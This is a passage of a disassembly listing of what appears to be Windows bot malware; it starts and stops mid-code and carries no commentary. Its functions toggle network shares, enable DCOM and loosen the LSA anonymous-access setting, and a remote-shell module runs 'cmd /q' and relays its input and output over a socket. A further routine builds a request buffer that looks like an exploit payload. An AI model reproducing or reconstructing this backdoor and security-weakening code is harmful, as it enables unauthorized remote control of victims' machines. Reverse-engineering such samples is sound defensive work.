push offset aSecureFailed_3 ; "[SECURE]: Failed to open IPC$ Restricti"...
jmp short loc_413C68
; ---------------------------------------------------------------------------
loc_413C63: ; CODE XREF: sub_413B31+13j
push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...
loc_413C68: ; CODE XREF: sub_413B31+130j
lea eax, [ebp+var_214]
push eax
call sub_418D70
pop ecx
pop ecx
loc_413C76: ; CODE XREF: sub_413B31+129j
cmp [ebp+arg_C], edi
jnz short loc_413C95
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413C95: ; CODE XREF: sub_413B31+148j
lea eax, [ebp+var_214]
push eax
call sub_4035E1
cmp dword_44B7B8, edi
pop ecx
jnz loc_413E10
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_413CB8: ; CODE XREF: sub_413B31+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_44B60C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_413D55
cmp eax, 0EAh
jz short loc_413D55
mov esi, offset off_441DE8
loc_413CE9: ; CODE XREF: sub_413B31+21Dj
push dword ptr [esi]
push edi
call sub_40A46C
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_413D00
push offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted."
jmp short loc_413D05
; ---------------------------------------------------------------------------
loc_413D00: ; CODE XREF: sub_413B31+1C6j
push offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%s' share."
loc_413D05: ; CODE XREF: sub_413B31+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_413D38
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413D38: ; CODE XREF: sub_413B31+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4035E1
add esi, 8
pop ecx
cmp esi, offset aIpc ; "IPC$"
jl short loc_413CE9
jmp loc_413DED
; ---------------------------------------------------------------------------
loc_413D55: ; CODE XREF: sub_413B31+1AAj
; sub_413B31+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_413DE4
loc_413D64: ; CODE XREF: sub_413B31+2AFj
mov edi, [esi]
push edi
call sub_41B030
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_413DD9
push edi
call sub_40A359
push eax
push 0
call sub_40A46C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_413D93
push offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted."
jmp short loc_413D98
; ---------------------------------------------------------------------------
loc_413D93: ; CODE XREF: sub_413B31+259j
push offset aSecureFailed_5 ; "[SECURE]: Failed to delete '%S' share."
loc_413D98: ; CODE XREF: sub_413B31+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_413DCC
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413DCC: ; CODE XREF: sub_413B31+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4035E1
pop ecx
loc_413DD9: ; CODE XREF: sub_413B31+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_413D64
xor edi, edi
loc_413DE4: ; CODE XREF: sub_413B31+22Dj
push [ebp+var_8]
call dword_44B750
loc_413DED: ; CODE XREF: sub_413B31+21Fj
cmp [ebp+var_10], 0EAh
jz loc_413CB8
lea eax, [ebp+var_214]
push offset aSecureNetworkS ; "[SECURE]: Network shares deleted."
push eax
call sub_418D70
pop ecx
pop ecx
pop ebx
jmp short loc_413E23
; ---------------------------------------------------------------------------
loc_413E10: ; CODE XREF: sub_413B31+177j
lea eax, [ebp+var_214]
push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
push eax
call sub_418D70
pop ecx
pop ecx
loc_413E23: ; CODE XREF: sub_413B31+2DDj
cmp [ebp+arg_C], edi
jnz short loc_413E41
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413E41: ; CODE XREF: sub_413B31+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4035E1
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_413B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E55 proc near ; CODE XREF: sub_413AD1:loc_413B18p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp dword_44B790, edi
jnz loc_413F83
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_44B730 ; RegOpenKeyExA
test eax, eax
jnz short loc_413EE0
mov ax, word_442060
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push [ebp+var_4]
call dword_44B6E4 ; RegSetValueExA
test eax, eax
jz short loc_413EC2
push offset aSecureEnableDc ; "[SECURE]: Enable DCOM failed."
jmp short loc_413EC7
; ---------------------------------------------------------------------------
loc_413EC2: ; CODE XREF: sub_413E55+64j
push offset aSecureDcomEnab ; "[SECURE]: DCOM enabled."
loc_413EC7: ; CODE XREF: sub_413E55+6Bj
lea eax, [ebp+var_220]
push eax
call sub_418D70
pop ecx
pop ecx
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
jmp short loc_413EF3
; ---------------------------------------------------------------------------
loc_413EE0: ; CODE XREF: sub_413E55+36j
lea eax, [ebp+var_220]
push offset aSecureFailed_6 ; "[SECURE]: Failed to open DCOM registry "...
push eax
call sub_418D70
pop ecx
pop ecx
loc_413EF3: ; CODE XREF: sub_413E55+89j
cmp [ebp+arg_C], edi
jnz short loc_413F12
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413F12: ; CODE XREF: sub_413E55+A1j
lea eax, [ebp+var_220]
push eax
call sub_4035E1
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_44B730 ; RegOpenKeyExA
test eax, eax
jnz short loc_413F7C
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], edi
call dword_44B6E4 ; RegSetValueExA
test eax, eax
jz short loc_413F5E
push offset aSecureFailed_7 ; "[SECURE]: Failed to unrestrict access t"...
jmp short loc_413F63
; ---------------------------------------------------------------------------
loc_413F5E: ; CODE XREF: sub_413E55+100j
push offset aSecureUnrestri ; "[SECURE]: Unrestricted access to the IP"...
loc_413F63: ; CODE XREF: sub_413E55+107j
lea eax, [ebp+var_220]
push eax
call sub_418D70
pop ecx
pop ecx
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
jmp short loc_413F96
; ---------------------------------------------------------------------------
loc_413F7C: ; CODE XREF: sub_413E55+E2j
push offset aSecureFailed_8 ; "[SECURE]: Failed to open IPC$ restricti"...
jmp short loc_413F88
; ---------------------------------------------------------------------------
loc_413F83: ; CODE XREF: sub_413E55+13j
push offset aSecureAdvapi_0 ; "[SECURE]: Advapi32.dll couldn't be load"...
loc_413F88: ; CODE XREF: sub_413E55+12Cj
lea eax, [ebp+var_220]
push eax
call sub_418D70
pop ecx
pop ecx
loc_413F96: ; CODE XREF: sub_413E55+125j
cmp [ebp+arg_C], edi
jnz short loc_413FB5
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413FB5: ; CODE XREF: sub_413E55+144j
lea eax, [ebp+var_220]
push eax
call sub_4035E1
cmp dword_44B7B8, edi
pop ecx
jnz loc_414127
mov esi, offset off_441DE8
loc_413FD3: ; CODE XREF: sub_413E55+1E7j
push dword ptr [esi+4]
push dword ptr [esi]
push edi
call sub_40A3C0
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_413FEE
push offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
jmp short loc_413FF3
; ---------------------------------------------------------------------------
loc_413FEE: ; CODE XREF: sub_413E55+190j
push offset aSecureFailed_9 ; "[SECURE]: Failed to add '%s' share."
loc_413FF3: ; CODE XREF: sub_413E55+197j
lea eax, [ebp+var_220]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_414026
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_414026: ; CODE XREF: sub_413E55+1B5j
lea eax, [ebp+var_220]
push eax
call sub_4035E1
add esi, 8
pop ecx
cmp esi, offset off_441DF8
jl short loc_413FD3
push ebx
call ds:dword_4943F8
mov edi, eax
mov bl, 41h
test edi, edi
jz loc_41410F
loc_414051: ; CODE XREF: sub_413E55+2B4j
mov eax, edi
and eax, 1
cmp al, 1
jnz loc_414105
cmp bl, 41h
jz loc_414105
movsx esi, bl
push esi
push offset aC_0 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_418EF0
push esi
push offset aC_1 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_418EF0
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_44B720 ; GetDriveTypeA
cmp eax, 3
jnz short loc_414105
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40A3C0
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_4140BF
push offset aSecureShareS_1 ; "[SECURE]: Share '%s' added."
jmp short loc_4140C4
; ---------------------------------------------------------------------------
loc_4140BF: ; CODE XREF: sub_413E55+261j
push offset aSecureFaile_10 ; "[SECURE]: Failed to add '%s' share."
loc_4140C4: ; CODE XREF: sub_413E55+268j
lea eax, [ebp+var_220]
push 200h
push eax
call sub_418EF0
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_4140F8
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_4140F8: ; CODE XREF: sub_413E55+287j
lea eax, [ebp+var_220]
push eax
call sub_4035E1
pop ecx
loc_414105: ; CODE XREF: sub_413E55+203j
; sub_413E55+20Cj ...
inc bl
shr edi, 1
jnz loc_414051
loc_41410F: ; CODE XREF: sub_413E55+1F6j
lea eax, [ebp+var_220]
push offset aSecureNetwor_0 ; "[SECURE]: Network shares added."
push eax
call sub_418D70
pop ecx
xor edi, edi
pop ecx
pop ebx
jmp short loc_41413A
; ---------------------------------------------------------------------------
loc_414127: ; CODE XREF: sub_413E55+173j
lea eax, [ebp+var_220]
push offset aSecureNetapi_0 ; "[SECURE]: Netapi32.dll couldn't be load"...
push eax
call sub_418D70
pop ecx
pop ecx
loc_41413A: ; CODE XREF: sub_413E55+2D0j
cmp [ebp+arg_C], edi
jnz short loc_414158
push edi
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_414158: ; CODE XREF: sub_413E55+2E8j
lea eax, [ebp+var_220]
push eax
call sub_4035E1
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_413E55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41416C proc near ; CODE XREF: sub_41301C+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_4142BD
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_44D064[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_4942F4
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41448F
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4141D7
call ds:dword_4942F0
push eax
push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to create ReadShell s"...
call sub_403655
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_414211
; ---------------------------------------------------------------------------
loc_4141D7: ; CODE XREF: sub_41416C+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_414541
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_414218
call ds:dword_4942F0
push eax
push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create ReadShell s"...
call sub_403655
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4943D4
loc_414211: ; CODE XREF: sub_41416C+69j
xor eax, eax
jmp loc_4142B8
; ---------------------------------------------------------------------------
loc_414218: ; CODE XREF: sub_41416C+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_4943FC
sub eax, ebx
jz short loc_414272
dec eax
jz short loc_41426C
dec eax
jz short loc_414258
call ds:dword_4942F0
push eax
push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
call sub_403655
pop ecx
pop ecx
jmp short loc_414287
; ---------------------------------------------------------------------------
loc_414258: ; CODE XREF: sub_41416C+D5j
mov edi, ds:dword_4943D4
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_414287
; ---------------------------------------------------------------------------
loc_41426C: ; CODE XREF: sub_41416C+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_414276
; ---------------------------------------------------------------------------
loc_414272: ; CODE XREF: sub_41416C+CFj
push ebx
push dword ptr [esi+14h]
loc_414276: ; CODE XREF: sub_41416C+104j
call ds:dword_4943D4
push 1
push dword ptr [esi+8]
call ds:dword_4943B8
loc_414287: ; CODE XREF: sub_41416C+EAj
; sub_41416C+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_4942E0
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_44B758 ; closesocket
push esi
call sub_417480
pop ecx
push 1
pop eax
loc_4142B8: ; CODE XREF: sub_41416C+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_41416C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142BD proc near ; CODE XREF: sub_41416C+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_416A10
mov esi, eax
pop ecx
cmp esi, edi
jz loc_4143A7
mov ebx, ds:dword_4943E8
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, ds:dword_4942E0
test eax, eax
jnz short loc_414320
call ds:dword_4942F0
push eax
push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdou"...
jmp short loc_414340
; ---------------------------------------------------------------------------
loc_414320: ; CODE XREF: sub_4142BD+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_414348
call ds:dword_4942F0
push eax
push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to create shell stdin"...
loc_414340: ; CODE XREF: sub_4142BD+61j
call sub_403655
pop ecx
jmp short loc_414376
; ---------------------------------------------------------------------------
loc_414348: ; CODE XREF: sub_4142BD+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_4143B6
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_4143AB
push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to execute shell."
call sub_4035E1
loc_414376: ; CODE XREF: sub_4142BD+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_414382
push [ebp+var_4]
call edi
loc_414382: ; CODE XREF: sub_4142BD+BEj
cmp [ebp+var_8], 0
jz short loc_41438D
push [ebp+var_8]
call edi
loc_41438D: ; CODE XREF: sub_4142BD+C9j
mov eax, [esi]
test eax, eax
jz short loc_414396
push eax
call edi
loc_414396: ; CODE XREF: sub_4142BD+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4143A0
push eax
call edi
loc_4143A0: ; CODE XREF: sub_4142BD+DEj
push esi
call sub_417480
pop ecx
loc_4143A7: ; CODE XREF: sub_4142BD+1Dj
xor eax, eax
jmp short loc_4143B1
; ---------------------------------------------------------------------------
loc_4143AB: ; CODE XREF: sub_4142BD+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_4143B1: ; CODE XREF: sub_4142BD+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_4142BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143B6 proc near ; CODE XREF: sub_4142BD+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_4189A0
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_4189A0
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, ds:dword_494290
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
call ds:dword_4943E4
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_494330
test eax, eax
jz short loc_414472
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_44D060[eax], ecx
call ds:dword_4942E0
jmp short loc_414488
; ---------------------------------------------------------------------------
loc_414472: ; CODE XREF: sub_4143B6+9Aj
call ds:dword_4942F0
push eax
push offset aRlogindFaile_7 ; "[RLOGIND]: Failed to execute shell, err"...
call sub_403655
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_414488: ; CODE XREF: sub_4143B6+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4143B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41448F proc near ; DATA XREF: sub_41416C+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4942DC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_4144B8: ; CODE XREF: sub_41448F+8Fj
call ebx
test eax, eax
jz short loc_414520
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_4144F3
loc_4144C9: ; CODE XREF: sub_41448F+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_4144E3
cmp dl, 0Dh
jz short loc_4144E3
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_4144E3: ; CODE XREF: sub_41448F+44j
; sub_41448F+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_4144C9
loc_4144F3: ; CODE XREF: sub_41448F+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_44B710 ; send
test eax, eax
jle short loc_414520
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_4144B8
; ---------------------------------------------------------------------------
loc_414520: ; CODE XREF: sub_41448F+2Dj
; sub_41448F+79j
mov esi, ds:dword_4942F0
call esi
cmp eax, 6Dh
jz short loc_41453C
call esi
push eax
push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
call sub_403655
pop ecx
pop ecx
loc_41453C: ; CODE XREF: sub_41448F+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_41448F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414541 proc near ; DATA XREF: sub_41416C+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_414544: ; DATA XREF: .data:004438C0o
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_41455A: ; CODE XREF: sub_414541+39j
; sub_414541+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_44B6D8 ; recv
test eax, eax
jle loc_41465F
cmp [ebp+var_10], ebx
jbe short loc_41457C
dec [ebp+var_10]
jmp short loc_41455A
; ---------------------------------------------------------------------------
loc_41457C: ; CODE XREF: sub_414541+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_41463F
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_4145EC
cmp al, 7Fh
jz short loc_4145EC
cmp al, 3
jnz short loc_4145A7
push ebx
push ebx
call ds:dword_494400
jmp short loc_414613
; ---------------------------------------------------------------------------
loc_4145A7: ; CODE XREF: sub_414541+5Aj
cmp al, 15h
jnz short loc_4145C9
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_4145FF
; ---------------------------------------------------------------------------
loc_4145C9: ; CODE XREF: sub_414541+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_414600
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_4145FF
; ---------------------------------------------------------------------------
loc_4145EC: ; CODE XREF: sub_414541+52j
; sub_414541+56j
cmp esi, ebx
jbe short loc_414616
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_4145FF: ; CODE XREF: sub_414541+86j
; sub_414541+A9j
pop ecx
loc_414600: ; CODE XREF: sub_414541+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_44B710 ; send
test eax, eax
jle short loc_41465F
loc_414613: ; CODE XREF: sub_414541+64j
mov al, byte ptr [ebp+arg_0+3]
loc_414616: ; CODE XREF: sub_414541+ADj
cmp al, 0Dh
jnz loc_41455A
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4942E4
test eax, eax
jz short loc_41465F
xor esi, esi
jmp loc_41455A
; ---------------------------------------------------------------------------
loc_41463F: ; CODE XREF: sub_414541+47j
cmp [ebp+var_C], ebx
jnz short loc_414650
mov [ebp+var_C], 1
jmp loc_41455A
; ---------------------------------------------------------------------------
loc_414650: ; CODE XREF: sub_414541+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_41455A
; ---------------------------------------------------------------------------
loc_41465F: ; CODE XREF: sub_414541+2Bj
; sub_414541+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_414541 endp
; =============== S U B R O U T I N E =======================================
sub_414664 proc near ; CODE XREF: sub_414684+Ap
; sub_41475C+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418E70
push [esp+8+arg_4]
mov esi, eax
call sub_418E70
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414684 proc near ; CODE XREF: sub_414773+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414664
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_4146A1
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4146A1: ; CODE XREF: sub_414684+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_418E70
push [ebp+arg_C]
mov esi, eax
call sub_418E70
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_4424F0, eax
lea eax, [edi+1]
mov dword_442511, eax
lea eax, [edi+17h]
mov dword_442509, eax
pop eax
push 74h
sub eax, edi
push offset dword_44248C
push ebx
mov dword_44251F, eax
call sub_418A00
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_418A00
add esi, 74h
push 5
push offset aGet_1 ; " get "
lea eax, [esi+ebx]
push eax
call sub_418A00
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_418A00
add esi, edi
push 10h
push 442505h
lea eax, [esi+ebx]
push eax
call sub_418A00
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_418A00
add esi, edi
push 38h
add esi, ebx
push offset byte_442515
push esi
call sub_418A00
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414684 endp
; =============== S U B R O U T I N E =======================================
sub_41475C proc near ; CODE XREF: sub_414773+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414664
push eax
call sub_4147E0
add esp, 0Ch
retn
sub_41475C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414773 proc near ; CODE XREF: sub_40119E+32p
; .text:00401824p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_41475C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414793
cmp eax, 0FFFFh
jbe short loc_414797
loc_414793: ; CODE XREF: sub_414773+17j
xor eax, eax
jmp short loc_4147DC
; ---------------------------------------------------------------------------
loc_414797: ; CODE XREF: sub_414773+1Ej
push esi
push edi
push ebx
call sub_414664
add eax, 101h
push eax
call sub_416A10
